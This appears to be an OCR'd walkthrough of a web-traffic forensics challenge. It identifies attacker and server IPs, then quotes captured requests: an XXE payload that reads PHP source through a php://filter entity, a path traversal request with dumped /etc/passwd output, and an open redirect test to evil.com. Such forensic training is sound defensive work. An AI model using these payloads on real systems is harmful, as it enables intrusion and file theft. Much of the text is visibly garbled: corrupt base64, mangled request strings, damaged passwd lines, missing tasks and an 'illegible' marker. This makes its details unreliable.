

Malicious Web Traffic Analysis Challenge

During a cybersecurity investigation, analysts have noticed unusual traffic patterns that may indicate a problem. We need your help finding out what's happening, so give us all the details.

Task 1:
What is the IP address of the web server?

I checked the Conversation and filtered by Packets

Ethernet · 1	IPv4 · 16	IPv6	TCP · 1114	UDP · 13							
Address A	Address B	Packets	Bytes	Packets A → B	Bytes A → B	Packets B → A	Bytes B → A	Rel Start	Duration	Bits/s A → B	Bits/s B → A
197.32.212.121	10.1.0.4	12,020	7 MB	6,089	628 kB	5,931	7 MB	0.000000	1091.5398	4602 bits/s	50 kbps
10.1.0.4	168.63.129.16	6,756	2 MB	3,884	999 kB	2,872	731 kB	2.022040	1083.8884	7371 bits/s	5396 bits/s

Answer: 10.1.0.4

Task 2:
What is the IP address of the attacker?

Same as task 1

Ethernet · 1	IPv4 · 16	IPv6	TCP · 1114	UDP · 13							
Address A	Address B	Packets	Bytes	Packets A → B	Bytes A → B	Packets B → A	Bytes B → A	Rel Start	Duration	Bits/s A → B	Bits/s B → A
197.32.212.121	10.1.0.4	12,020	7 MB	6,089	628 kB	5,931	7 MB	0.000000	1091.5398	4602 bits/s	50 kbps
10.1.0.4	168.63.129.16	6,756	2 MB	3,884	999 kB	2,872	731 kB	2.022040	1083.8884	7371 bits/s	5396 bits/s

Answer: 197.32.212.121

Task 3:
The attacker first tried to sign up on the website, however, he found a vulnerability that he could read the source code with. What is the name of the vulnerability?

I found a strange payload inside the POST /register.php and followed the TCP stream

```
POST /register/register.php HTTP/1.1
Host: letsdefend.eastus.cloudapp.azure.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.216 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Length: 253

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=register.php"> ]>
<root>
  <name>ahmed</name>
  <tel>kdjk</tel>
  <email>&xxe;</email>
  <password>ksjdf</password>
</root>HTTP/1.1 200 OK
Date: Fri, 16 Feb 2024 20:36:06 GMT
Server: Apache/2.4.52 (Ubuntu)
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 545
Connection: close
Content-Type: text/html; charset=UTF-8

.....]Is0.....9...9."d#...1....".#0e.....d.&5.JT.n..u...n...ic.[..P..T.Hs.T.

./..J...H{.1vEz.....T.....I%Z..
i3.h.i...s...t...4.Z...".<K...i...h...b...&...(.A..TS.S5{.-p..t...'.h...e...-.W.....m.u..bmm...s..I..'.|&X.K.W.....H"W.....9.....^Vt^thead.1.....mhE...T..0..b..0..m.930.....).T.....\..b...m...L%.....XV...<...<...'.....Dg..aCE.....P...}j;
.L5.n.X"[...B...A'.3[rj.8....306.i].T./sP.../.....f...K...y\';"...i.Z...=={...z...y...M.T.....U...>.$8o3.f...t...K.W.....P...%}.....5.....<S..Iu...+...C...z...cQ...D.....[...n.....
.B....
```

Answer: xxe

Task 4:
There was a note in the source code, what is it?

In same packet from task 3, but this time I was followed the HTTP stream and found a Base64

```
POST /register/register.php HTTP/1.1
Host: letsdefend.eastus.cloudapp.azure.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.216 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Length: 253

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=register.php"> ]>
<root>
  <name>ahmed</name>
  <tel>kdjk</tel>
  <email>&xxe;</email>
  <password>ksjdf</password>
</root>HTTP/1.1 200 OK
Date: Fri, 16 Feb 2024 20:36:06 GMT
Server: Apache/2.4.52 (Ubuntu)
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 545
Connection: close
Content-Type: text/html; charset=UTF-8

Sorry, P09waHAxbk1eG1sX2Rpc2FibGVfZm50aXR5X2xvYmRlc1AoZWZsc2UpOwokeG1sZmlsZSA9IGZpbG9fZm50aXR5bnRlbnRzCkdwaHA6Ly9pbmBldCcpOwoKZG9rID0gbWV3TERPURIYV3VtZm50KCK7CiRkb20tPmxxvYmRYTUwo3HhtbGZpbGUuIExQ1MHTF90T9VOVCB8IExQ1MHTF9EVERHT0FEKtsKJG1u
Zm8gPSBz8wIubGVbG4bWxfai1wb3J0X2Rvb3B5SgkZG9tKtsKJG5hbWUgPSAkaw5eby0+bmFtZTtsKJHRlbCA9ICRpbnZvLT50ZmV7CjRlbnRpbnRlbnRzCkdwaHA6Ly9pbmBldCcpOwoKZG9rID0gbWV3TERPURIYV3VtZm50KCK7CiRkb20tPmxxvYmRYTUwo3HhtbGZpbGUuIExQ1MHTF90T9VOVCB8IExQ1MHTF9EVERHT0FEKtsKJG1u
1cGRhdGVkIubGVbG4bWxfai1wb3J0X2Rvb3B5SgkZG9tKtsKJG5hbWUgPSAkaw5eby0+bmFtZTtsKJHRlbCA9ICRpbnZvLT50ZmV7CjRlbnRpbnRlbnRzCkdwaHA6Ly9pbmBldCcpOwoKZG9rID0gbWV3TERPURIYV3VtZm50KCK7CiRkb20tPmxxvYmRYTUwo3HhtbGZpbGUuIExQ1MHTF90T9VOVCB8IExQ1MHTF9EVERHT0FEKtsKJG1u
ready registered!
```

Task 7:
Once the attacker gained admin access, they exploited another vulnerability that led the attacker to read internal files that were located on the server. What payload did the attacker use?

```
GET /dashboard/view.php?file=.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F.%2F HTTP/1.1
Host: letsdefend.eastus.cloudapp.azure.com
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: https://letsdefend.eastus.cloudapp.azure.com/dashboard/view.php?file=apple.jpg
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: SL_6_WPT_Token; SL_GWPT_Show_Hide_tmp=1; SL_wptGloabTispTmp=1
```

Task 8:
The attacker was able to view all the users on the server. What is the last user that was created on the server?

```


```

xdiv class="file-content">
 <pre>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
x:4:65534:sys:/bin:/sbin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mail List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
system-networkd:x:100:102:system Network Management,,/run/systemd:/usr/sbin/nologin
system-resolve:x:101:103:system Resolver,,/run/systemd:/usr/sbin/nologin
messagebus:x:102:105:/nonexistent:/usr/sbin/nologin
system-timesync:x:103:106:system Time Synchronization,,/run/systemd:/usr/sbin/nologin
syslog:x:104:111:/home/syslog:/usr/sbin/nologin
apt:x:105:65534:/usr/sbin/nologin
ts:x:106:112:TM software stack,,/var/lib/tm:/bin/false
uuid:x:107:113:/run/uuid:/usr/sbin/nologin
tcpdump:x:108:114:/nonexistent:/usr/sbin/nologin
sshd:x:109:65534:/run/ssh:/usr/sbin/nologin
pollinate:x:110:1:/var/cache/pollinate:/bin/false
landscape:x:111:116:/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:117:fwupd-refresh user,,/run/systemd:/usr/sbin/nologin
chrony:x:113:122:Chrony daemon,,/var/lib/chrony:/usr/sbin/nologin
web_user:x:1000:1000:Ubuntu:/home/web_user:/bin/bash
lxd:x:999:1001:/var/snap/lxd/common/lxd:/bin/false
rtkit:x:114:123:RealtimeKit,,/proc:/usr/sbin/nologin
xrdp:x:115:125:/run/xrdp:/usr/sbin/nologin
all4mFW:x:1001:1001:/home/all4mFW:/bin/bash
</pre>
</div>
</div>
</body>
</html>

```


```

Task 9:
The attacker also found an open redirect vulnerability. What is the URL the attacker tested the exploit with?

[illegible]

```
GET /dashboard/redirect.php?url=https3AK2F82Fevil.com&2F HTTP/1.1
Host: letsdefend.eastus.cloudapp.azure.com
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: https://letsdefend.eastus.cloudapp.azure.com/dashboard/redirect.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US;q=0.9
Cookie: SL 6 uPT 10=em; SL GuPT Show Hide tmp=1; SL uPTGlob1aPTmp=1
```

Walkthroughs Page 3